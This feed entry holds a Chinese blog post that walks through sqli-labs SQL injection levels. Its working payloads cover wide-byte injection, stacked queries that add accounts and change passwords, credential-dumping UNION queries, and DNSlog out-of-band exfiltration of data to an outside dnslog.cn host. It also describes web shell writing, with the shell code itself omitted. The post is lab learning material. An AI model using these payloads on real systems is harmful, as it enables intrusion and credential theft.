src="/images/sql-injection/pasted-image-20260201155700.png" alt="pasted image 20260201155700"><br>闭合方式为’<br>确定回显<br><img src="/images/sql-injection/pasted-image-20260201155758.png" alt="pasted image 20260201155758"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&amp;id=0&#x27;union select 1,2,(select group_concat(username,&#x27;:&#x27;,password) from users)--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201155944.png" alt="pasted image 20260201155944"></p><h5 id="less30"><a href="#less30" class="headerlink" title="less30"></a>less30</h5><p>闭合方式为”</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&amp;id=-2&quot;%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201171257.png" alt="pasted image 20260201171257"></p><h5 id="less31"><a href="#less31" class="headerlink" title="less31"></a>less31</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&amp;id=2&quot;</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201171427.png" alt="pasted image 20260201171427"><br>闭合方式为”)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&amp;id=-2&quot;)%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201171514.png" alt="pasted image 20260201171514"></p><h4 id="宽字节注入"><a href="#宽字节注入" class="headerlink" title="宽字节注入"></a>宽字节注入</h4><p>原理：mysql 在使用 GBK 编码的时候，会认为两个字符为一个汉字，例如%aa%5c 就是一个汉字（前一个 ascii 码大于 128 才能到汉字的范围）。因此我们在此想办法将’前面添加的\除掉</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%df 吃掉 \。具体的原因是 urlencode(\&#x27;) = %5c%27，我们在%5c%27 前面添加%df，形成%df%5c%27，而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字，此时%df%5c 就是一个汉字，%27 则作为一个单独的符号在外面，同时也就达到了我们的目的。</span><br></pre></td></tr></table></figure><ul><li><code>%df</code> &#x3D; 十六进制 <code>0xDF</code> &#x3D; 十进制 <strong>223</strong>（&gt;128）</li><li><code>%5c</code> &#x3D; 反斜杠 <code>\</code> &#x3D; 十进制 <strong>92</strong></li><li><strong>GBK规则</strong>：<code>223 + 92</code> → 合法汉字（具体字不重要）</li><li><strong>结果</strong>：(92)被223“带走”，单引号(39)无人看管，直接闭合SQL语句</li></ul><h5 id="less32"><a href="#less32" class="headerlink" title="less32"></a>less32</h5><p><img src="/images/sql-injection/pasted-image-20260201161929.png" alt="pasted image 20260201161929"><br>查看源码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">发现将\替换成\\，将&#x27;和&quot;分别替换成\&#x27;和\&quot;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1%df%27</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201162140.png" alt="pasted image 20260201162140"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=-1%df%27%20union%20select%201,database(),3%20--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201163049.png" alt="pasted image 20260201163049"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+</span><br><span class="line">爆表</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201163148.png" alt="pasted image 20260201163148"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=-1%df&#x27;%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201164833.png" alt="pasted image 20260201164833"></p><h5 id="less33"><a href="#less33" class="headerlink" title="less33"></a>less33</h5><p>使用addslashes()函数过滤<br><img src="/images/sql-injection/pasted-image-20260201165228.png" alt="pasted image 20260201165228"><br>闭合方式为’</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=-1%df&#x27;%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+</span><br></pre></td></tr></table></figure><h5 id="less34"><a href="#less34" class="headerlink" title="less34"></a>less34</h5><p><img src="/images/sql-injection/pasted-image-20260201170326.png" alt="pasted image 20260201170326"></p><table><thead><tr><th>步骤</th><th>用户输入</th><th>后端处理（假设用 <code>addslashes</code> + GBK数据库）</th><th>数据库（GBK）解析结果</th></tr></thead><tbody><tr><td>1️</td><td><code>admin汉&#39;</code></td><td>URL解码 → 字节流（GBK）：  <br><code>[a,d,m,i,n, 0xBA,0xBA, 0x27]</code></td><td>❌ 未处理</td></tr><tr><td>2️</td><td>—</td><td><code>addslashes</code> 转义单引号：  <br>→ <code>admin汉\&#39;</code>  <br>字节流变为：  <br><code>[...0xBA,0xBA, 0x5C,0x27]</code></td><td>❌ 未处理</td></tr><tr><td>3️</td><td>—</td><td>—</td><td>✅ GBK解析开始：  <br>• 前5字母正常  <br>• <code>0xBA,0xBA</code> → 合成汉字”汉”  <br>• <code>0xBA</code>（”汉”第二字节） + <code>0x5C</code>（反斜杠） → 合成新汉字（如”寮”，GBK编码<code>0xBA5C</code>有效！）  <br>• <code>0x27</code>（单引号）裸奔释放！</td></tr><tr><td>结果</td><td>—</td><td>—</td><td>SQL语句被闭合：  <br><code>... WHERE uname=&#39;admin汉[合成汉字]&#39; OR &#39;1&#39;=&#39;1&#39;...</code> → 注入成功！</td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">passwd=admin&amp;submit=Submit&amp;uname=admin汉&#x27; union select 1,(select%20group_concat(username,0x3a,password)%20from%20users)#</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201171157.png" alt="pasted image 20260201171157"></p><h5 id="less36"><a href="#less36" class="headerlink" title="less36"></a>less36</h5><p>函数为mysqli_real_escape_string，和addslashes函数功能差不多</p><table><thead><tr><th>步骤</th><th>机制</th><th>为什么关键</th></tr></thead><tbody><tr><td>1. 字符集绑定</td><td>调用 <code>mysql_real_escape_string()</code> C API 时，自动携带连接对象的 charset 属性</td><td>转义逻辑与数据库解析逻辑同源</td></tr><tr><td>2. 字节流扫描</td><td>逐字节分析输入字符串：  <br>- 若当前字节 ≤ 127 → 单字节字符（ASCII）  <br>- 若当前字节 &gt; 127 → 按连接字符集查表（如 GBK：取当前+下一字节组成汉字）</td><td>避免在汉字中间插入反斜杠</td></tr><tr><td>3. 智能转义点</td><td>仅当确认是“独立需转义字符”时才插入 <code>\</code>：  <br>- 单引号 <code>&#39;</code> (0x27)  <br>- 双引号 <code>&quot;</code> (0x22)  <br>- 反斜杠 <code>\</code> (0x5C)  <br>- NUL (0x00) 等</td><td>转义点精准定位，不破坏多字节结构</td></tr><tr><td>4. 字节级输出</td><td>返回纯字节序列（非“字符串”），确保与数据库通信时字节流一致</td><td>避免 PHP 内部编码二次干扰</td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=-1%df%27%20union select 1,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201172254.png" alt="pasted image 20260201172254"></p><h5 id="less37"><a href="#less37" class="headerlink" title="less37"></a>less37</h5><p>36的post</p><h4 id="堆叠注入"><a href="#堆叠注入" class="headerlink" title="堆叠注入"></a>堆叠注入</h4><p><strong>堆叠注入是一种在 同一个注入点中连续执行多条 SQL 语句的攻击方式</strong><br>原因：分号（<code>;</code>）<br>UNION执行的语句类型是有限的，而堆叠注入可以执行任意语句<br>堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服 务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中**mysqli_multi_query()<strong>函数,这个函数在支持同时执行多条sql语句,而与之对应的</strong>mysqli_query()**函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于<code>mysqli_multi_query()</code>这样的函数<br>和union联合注入的区别：堆叠注入可以实现包括但不限于select的SQL语句，而union联合注入只能使用select语句。<br><img src="/images/sql-injection/pasted-image-20260112194520.png" alt="pasted image 20260112194520"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">例如</span><br><span class="line">?id=-1&#x27;;insert into users(id,username,password) values (&#x27;1&#x27;,&#x27;admin&#x27;,&#x27;123&#x27;)-- +</span><br></pre></td></tr></table></figure><h5 id="less38"><a href="#less38" class="headerlink" title="less38"></a>less38</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1%27;insert%20into%20users(id,username,password)values(38,%27666%27,%27666%27)--+</span><br></pre></td></tr></table></figure><p>再重新访问id&#x3D;38就可以看到自己设置的账户和密码了<img src="/images/sql-injection/pasted-image-20260201172956.png" alt="pasted image 20260201172956"></p><h5 id="less40"><a href="#less40" class="headerlink" title="less40"></a>less40</h5><p>发现注入点，闭合方式为’)，可以用堆叠注入来改密码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&#x27;);update users set password=&#x27;666&#x27; where username=&#x27;Dumb&#x27;--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201173717.png" alt="pasted image 20260201173717"><br><img src="/images/sql-injection/pasted-image-20260201173755.png" alt="pasted image 20260201173755"></p><h4 id="DNSlog外带注入"><a href="#DNSlog外带注入" class="headerlink" title="DNSlog外带注入"></a>DNSlog外带注入</h4><h5 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">原理：当我们输入域名时，会向DNS服务器解析获取IP，再通过IP访问，在这过程中DNS服务器会产生对域名请求解析的日志，比如此时存在一个域名为dnslog.cn.，要使用的payload为`whoami`.dnslog.cn，就可以通过DNS解析日志来获取到主机名</span><br></pre></td></tr></table></figure><table><thead><tr><th>场景</th><th>传统盲注痛点</th><th>DNSLog解决方案</th></tr></thead><tbody><tr><td>无回显注入</td><td>响应无数据返回，需逐位猜解（极慢）</td><td>一次性带出完整数据</td></tr><tr><td>WAF拦截</td><td>HTTP响应内容被深度检测</td><td>DNS查询通常绕过HTTP层检测</td></tr><tr><td>网络隔离</td><td>目标无法回连攻击者HTTP服务器</td><td>DNS协议（UDP 53）通常防火墙放行</td></tr><tr><td>时间盲注</td><td>依赖响应时间，易受网络波动影响</td><td>结果明确可见，无时间依赖</td></tr></tbody></table><h5 id="UNC（Universal-Naming-Convention）"><a href="#UNC（Universal-Naming-Convention）" class="headerlink" title="UNC（Universal Naming Convention）"></a>UNC（Universal Naming Convention）</h5><p><strong>定义</strong></p><p>Windows系统用于<strong>定位网络资源</strong>的标准路径格式：<br><code>\\&lt;主机名或IP&gt;\&lt;共享名&gt;\&lt;路径&gt;\&lt;文件名&gt;</code></p><table><thead><tr><th>特性</th><th>说明</th><th>安全意义</th></tr></thead><tbody><tr><td>双反斜杠前缀</td><td><code>\\</code> 标识网络路径起点</td><td>触发Windows网络解析机制</td></tr><tr><td>主机名解析</td><td>系统自动将<code>&lt;主机名&gt;</code>解析为IP</td><td>关键！ 触发DNS查询</td></tr><tr><td>协议栈</td><td>优先NetBIOS → DNS → LLMNR</td><td>DNS阶段可被攻击者劫持</td></tr><tr><td>跨协议支持</td><td>SMB（445）、WebDAV等</td><td>依赖系统网络服务</td></tr></tbody></table><h5 id="利用场景"><a href="#利用场景" class="headerlink" title="利用场景"></a>利用场景</h5><p>使用dnslog方法的场景非常苛刻</p><p>需要知道以下数据</p><p>secure_file_priv&#x3D;””  ，secure_file_priv必须是空</p><p>secure_file_priv为null，load_file则不能加载文件。</p><p>secure_file_priv为路径，可以读取路径中的文件；</p><p>secure_file_priv为空，可以读取磁盘的目录；</p><p>服务器只能在windows下使用，因为需要使用到UNC路径</p><p>拥有root权限，因为有root权限后才能使用load_file()这个函数</p><p>LOAD_FILE()函数可以加载本地文件系统中的文件，并将其作为字符串返回</p><p>**前置</p><ul><li>配置MySQL参数</li></ul><ol><li><p><strong>找到MySQL配置文件</strong></p><ul><li><p>在phpstudy安装目录下找到MySQL的配置文件，通常路径为：</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">phpstudy_pro\Extensions\MySQL&lt;版本号&gt;\my.ini</span><br></pre></td></tr></table></figure></li></ul></li><li><p><strong>修改secure_file_priv参数</strong></p><ul><li><p>用记事本打开my.ini</p></li><li><p>在[mysqld]部分添加或修改以下配置：</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">secure_file_priv=&quot;&quot;</span><br></pre></td></tr></table></figure></li><li><p>保存文件</p></li></ul></li><li><p><strong>重启MySQL服务</strong></p><ul><li>在phpstudy控制面板中，找到MySQL服务，点击”重启”</li></ul></li></ol><p><strong><code>load_file</code></strong></p><ul><li><strong>作用</strong>：<strong>MySQL内置函数</strong>，设计用于读取服务器上的文件内容</li><li><strong>正常用途</strong>：<code>SELECT LOAD_FILE(&#39;/etc/passwd&#39;)</code> 读取文件</li><li><strong>在此处的巧妙用法</strong>：<ul><li>传递一个<strong>不存在的UNC路径</strong>作为参数</li><li>利用Windows处理UNC路径时<strong>先解析主机名</strong>的特性</li><li><strong>即使文件不存在，也会触发DNS查询</strong></li></ul></li><li><strong>权限要求</strong>：需要MySQL用户具有FILE权限(通常是root)</li></ul><p><strong><code>hex(user())</code></strong></p><ul><li><strong>分解执行</strong>：<ul><li><code>user()</code>：MySQL函数，返回当前用户名和主机，如<code>root@localhost</code></li><li><code>hex()</code>：将字符串转换为十六进制，如<code>root</code>→<code>726f6f74</code></li></ul></li><li><strong>为什么必须用hex()</strong>：<ul><li>DNS域名规范：只能包含[a-z0-9-]，不支持<code>@</code>、<code>.</code>等特殊字符</li><li><code>user()</code>返回值包含<code>@</code>符号(如<code>root@localhost</code>)，无法直接作为子域名</li><li>十六进制编码后仅含0-9和a-f，完全符合DNS规范</li></ul></li></ul><h5 id="less8"><a href="#less8" class="headerlink" title="less8"></a>less8</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&#x27; AND load_file(concat(&#x27;\\\\&#x27;, hex(user()), &#x27;.8f890j.dnslog.cn/abc&#x27;))--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201185400.png" alt="pasted image 20260201185400"><br>十六进制解码<br><img src="/images/sql-injection/pasted-image-20260201185448.png" alt="pasted image 20260201185448"><br>爆库名</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&#x27; and load_file(concat(&#x27;\\\\&#x27;,database(),&#x27;.8f890j.dnslog.cn/abc&#x27;))--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201185652.png" alt="pasted image 20260201185652"></p><p>爆表名</p><p>**注：**因为使用group_concat()函数拼接时默认使用’ , ‘进行拼接，dnslog无法解析，所以这里有两种方法可以解决</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">1、转为16进制，</span><br><span class="line"></span><br><span class="line">2、使用separator &quot;_&quot;  使用下划线连接</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&#x27;  and load_file(concat(&#x27;\\\\&#x27;,(select group_concat(table_name separator &#x27;_&#x27;) from information_schema.tables where table_schema=database()),&#x27;.8f890j.dnslog.cn/abc&#x27;))--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201185949.png" alt="pasted image 20260201185949"></p><p>爆列名</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&#x27; AND load_file(concat(&#x27;\\\\&#x27;, (SELECT group_concat(column_name separator &#x27;_&#x27;) FROM information_schema.columns WHERE table_schema=database() AND table_name=&#x27;users&#x27;), &#x27;.8f890j.dnslog.cn/abc&#x27;))--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201190341.png" alt="pasted image 20260201190341"></p><p>获取数据</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1&#x27; AND load_file(concat(&#x27;\\\\&#x27;, (SELECT concat(username, &#x27;_&#x27;, password) FROM security.users LIMIT 0,1), &#x27;.8f890j.dnslog.cn/abc&#x27;))--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201190616.png" alt="pasted image 20260201190616"></p><h4 id="SQL写马"><a href="#SQL写马" class="headerlink" title="SQL写马"></a>SQL写马</h4><h5 id="日志写马"><a href="#日志写马" class="headerlink" title="日志写马"></a><strong>日志写马</strong></h5><p>我们所有的数据库的都有一个存放日志的文件，这个文件可以会进行记录数据库的操作语句，也可能不会记录数据库的操作语句，这却决于两个全局变量：</p><p>general_log&#x3D;&#x3D;&gt;日志保存状态，有两个状态，ON代表开启 OFF代表关闭。</p><p>general_log_file&#x3D;&#x3D;&gt; 日志的保存路径。</p><p><code>SET GLOBAL general_log=&#39;ON&#39;;</code> 打开日志记录<br>set global general_log_file&#x3D;’D:\phpstudy_pro\WWW\log.php’; 写马，这里需要注意的就是需要使用双斜线，然后还有就是日志文件必须是.php文件防止不能被解析<br>设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中，不管执行成功与否。<br>select ‘<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>‘; 查询语句，其实就是写马，让日志文件众留下这样一句查询语句。那么可以使用这个木马</p><h5 id="mysql-into-outfile注射一句话木马"><a href="#mysql-into-outfile注射一句话木马" class="headerlink" title="mysql into outfile注射一句话木马"></a><strong>mysql into outfile注射一句话木马</strong></h5><p>secure_file_priv&#x3D;””就是可以into outfile写入任意磁盘文件<br>十六进制编码<br><img src="/images/sql-injection/pasted-image-20260201194233.png" alt="pasted image 20260201194233"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?sort=1;select &lt;HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY&gt;%20into outfile&#x27;X:/phpstudy_pro/WWW/sqli-labs-master/Less-50/output.txt&#x27;--+</span><br></pre></td></tr></table></figure><p><img src="/images/sql-injection/pasted-image-20260201193510.png" alt="pasted image 20260201193510"></p>]]>
    </content>
    <id>https://worny666.github.io/2026/07/02/SQL%E6%B3%A8%E5%85%A5/</id>
    <link href="https://worny666.github.io/2026/07/02/SQL%E6%B3%A8%E5%85%A5/"/>
    <published>2026-07-02T13:02:55.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>安全声明：本文仅用于 CTF 学习与授权环境复现。<br>可直接运行的 PHP shell 示例已替换为 <code>&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>对应十六进]]>
    </summary>
    <title>SQL注入</title>
    <updated>2026-07-02T15:24:30.975Z</updated>
  </entry>
</feed>
